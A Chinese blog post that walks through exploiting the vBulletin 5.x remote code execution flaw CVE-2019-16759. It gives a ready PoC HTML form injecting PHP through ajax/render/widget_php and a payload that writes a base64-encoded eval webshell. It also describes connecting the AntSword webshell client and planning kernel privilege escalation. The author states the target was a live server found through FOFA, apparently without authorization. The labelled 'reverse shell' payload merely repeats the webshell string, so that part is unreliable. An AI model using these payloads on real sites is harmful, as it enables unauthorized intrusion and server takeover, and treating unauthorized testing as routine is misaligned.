实战vBulletin 5.x远程代码执行0day漏洞

vBulletin 5.x远程代码执行漏洞

Posted by 看不尽的尘埃 on September 26, 2019

0x00 漏洞介绍

  • 漏洞名称:vBulletin 5.x远程代码执行漏洞
  • CVE编号:CVE-2019-16759
  • 发布时间:2019-09-25
  • 漏洞说明:漏洞通过请求ajax/render/widget_php进行模板注入触发代码执行。
  • 影响范围:vBulletin 5.0.0 到最新 5.5.4版本
  • 修复建议:及时更新和进行安全加固配置,下载安全更新补丁

0x01 一次实战

我这边就编写一个HTML文件来验证这个漏洞:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>vBulletin 5.x远程代码执行</title>
</head>
<body>
<h1>vBulletin 5.x远程代码执行</h1>
<form action="http://www.xxxx.com/" method="post" enctype="multipart/form-data">
    <p><input type="text" name="routestring" value="ajax/render/widget_php"></p>
	<p><input type="text" name="widgetConfig[code]" value="phpinfo();exit;"></p>
    <p><input type="submit" value="submit"></p>
</form>
</body>
</html>

由于这个论坛系统是是否的,所以这边只好从互联网上找一台服务器来尝试下了,我是通过FOFA网络空间搜索引擎搜索到的一个存在漏洞的服务器。 当我们从页脚发现它的版本号是5.x的时候,我们就可以编辑这个HTML的接收地址,再使用浏览器打开这个HTML文件,打开的界面就是这样的,需要执行其他的代码或者其他的命令可以修改第二个文本框的内容: 图片 点击提交后,存在漏洞的网站就会执行phpinfo,如下图所示: 图片

通过修改上一个步骤中的代码,我们执行了id命令,查看了当前用户的权限: 图片

那么接下来就开始写入一句话去连接,但是怎么也写不进去…初步觉得是目录权限问题,下面是我的Payload:

fputs(fopen('tools.php','w'),base64_decode('PD9waHAgQGV2YWwoJF9HRVRbdGVzdF0pOz8+'));exit;

尝试bash反弹shell也失败:

system(base64_decode('PD9waHAgQGV2YWwoJF9HRVRbdGVzdF0pOz8+'));exit;

自闭了几分钟我想到了使用中国蚁剑去直接连接,我是这么想的,从第一个phpinfo那个PoC来看,应该是类似eval()这类函数导致的漏洞,既然是eval函数那么就可以直接通过一句话客服端连接,这时候我就想到了中国蚁剑还有”使用Multipart发包”这个功能! 具体配置如下面几张图所示,把widgetConfig[code]当作密码: 图片 还需要在请求头中加上routestring参数,值为ajax/render/widget_php: 图片

最后不要忘记勾选”使用Multipart发包”,然后点击连接即可: 图片 如下图所示,成功连接上,但是尝试上传文件,却发现失败,应该是没有写权限,因此可以尝试切换到tmp目录下面,进行内核提权: 图片

下面是我抓到的中国蚁剑的HTTP数据包,可以参考一下: 图片

0x02 Web指纹

毕竟我还是以写漏洞策略为主的,因此还需要寻找这个系统指纹,比如以下几个:

  • <meta name="description" content="vBulletin Forums" />
  • <meta name="generator" content="vBulletin (\d\.\d\.\d)" />
  • vBulletin.version = '(\d\.\d\.\d)';

    0x03 总结

    感觉到自己在提权这一块还是比较欠缺的,当我拿到一个WebShell,我都不知道该怎么样最大程度的利用它去获取到服务器的最高权限,在这方面以后还是有待加强!